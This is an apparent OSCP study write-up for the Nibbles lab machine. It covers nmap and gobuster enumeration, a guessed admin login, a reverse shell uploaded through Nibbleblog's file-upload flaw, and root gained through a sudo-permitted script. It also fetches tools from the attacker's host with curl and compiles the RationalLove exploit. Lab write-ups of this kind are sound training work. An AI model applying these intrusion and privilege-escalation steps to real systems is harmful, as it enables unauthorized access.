OSCP Notes

Nibbles (Linux) Write-up - LinEnum & How to call a bash shell with sudo priv

I've done this box a long time ago while following a TCM's video, but I decided to give it a go again with fresh perspective.
Nmap Scan Result:
Nmap scan report for
Host is up (0.11s latency).
Not shown: 65532 closed tcp ports (conn-refused)
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
| 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
58848/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Let's do web enumeration first.
Visiting the IP, I found the nibbleblog directory which took me to a blog site.
Started the gobuster from the directory:
gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Version: v4.0.3
Codename: Coffee Release date: 2014-04-01
Site: http://www.nibbleblog.com Blog: http://blog.nibbleblog.com Help & Support: http://forum.nibbleblog.com Documentation: http://docs.nibbleblog.com
"Unrestricted file upload vulnerability in the My Image plugin in Nibbleblog before 4.0.5 allows remote administrators to execute arbitrary code by uploading a file with an executable extension, then accessing it via a direct request to the file in content/private/plugins/my_image/image.php."
Found admin.php page and attempted login with Username:admin password: nibbles ---> successful
Found a directory where I can upload a reverse shell script.
Uploaded a reverse shell and got the shell back.
can't access tty though.
"bash -i" to make it interactive.
or python3 pty option
By typing sudo -l reveals that /home/nibbler/personal/stuff/monitor.sh can be ran as root without password
so I have unzipped the file (unzip personal.zip) and removed the current shell file.
Created a new file with vim:
bash -i
We utilized the Sudo functionality to run a script to call the bash with root privilege.

Running Linux Exploit Suggester

host it on python simplehttp server and download it from the nibble server with
curl -o enum.sh IP/enum.sh
We'll try the RationalLove
Get the exploit and upload it again.
We need to compile the c file with gcc -o FILE_NAME Rationallove.c
For some reason, I had to execute it twice to get it work, but it worked!
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